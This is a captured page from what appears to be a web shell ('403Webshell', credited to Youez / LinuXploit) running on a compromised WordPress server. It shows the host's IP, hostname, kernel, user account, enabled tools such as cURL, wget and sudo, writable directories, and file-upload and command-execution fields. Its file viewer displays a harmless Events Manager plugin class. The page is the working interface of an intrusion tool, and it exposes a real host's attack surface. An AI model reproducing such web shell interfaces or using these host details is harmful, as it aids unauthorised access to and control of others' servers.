403Webshell
Server IP : 81.2.241.106  /  Your IP : 216.73.216.165
Web Server : Apache/2.4.67 (Debian)
System : Linux tranq-f.bakta.org 5.10.0-45-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64
User : lisky ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/lisky/wp-content/plugins/events-manager/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/lisky/wp-content/plugins/events-manager/classes/em-category.php
<?php
class EM_Category extends EM_Taxonomy_Term {
	
	//static options for EM_Category, but until PHP 5.3 is the WP minimum requirement we'll make them regular properties due to lack of late static binding
	public $option_ms_global = true;
	public $option_name = 'category'; //the singular name of this taxonomy which is used in option names consistent across EM taxonomies
	public $taxonomy = 'EM_TAXONOMY_CATEGORY';
		
	/**
	 * Necessary to supply the $class_name until late static binding is reliably available on all WP sites running PHP 5.3
	 * @param string $id
	 * @param string $class_name
	 * @return EM_Taxonomy
	 */
	public static function get( $id, $class_name = 'EM_Category' ){
		return parent::get($id, $class_name);
	}
	
	public function can_manage( $capability_owner = 'edit_event_categories', $capability_admin = false, $user_to_check = false ){
		return parent::can_manage($capability_owner, $capability_admin, $user_to_check);
	}
}

/**
 * Get an category in a db friendly way, by checking globals and passed variables to avoid extra class instantiations
 * @param mixed $id
 * @return EM_Category
 * @uses EM_Category::get()
 */
function em_get_category( $id ) {
	return EM_Category::get($id);
}

Youez - 2016 - github.com/yon3zu
LinuXploit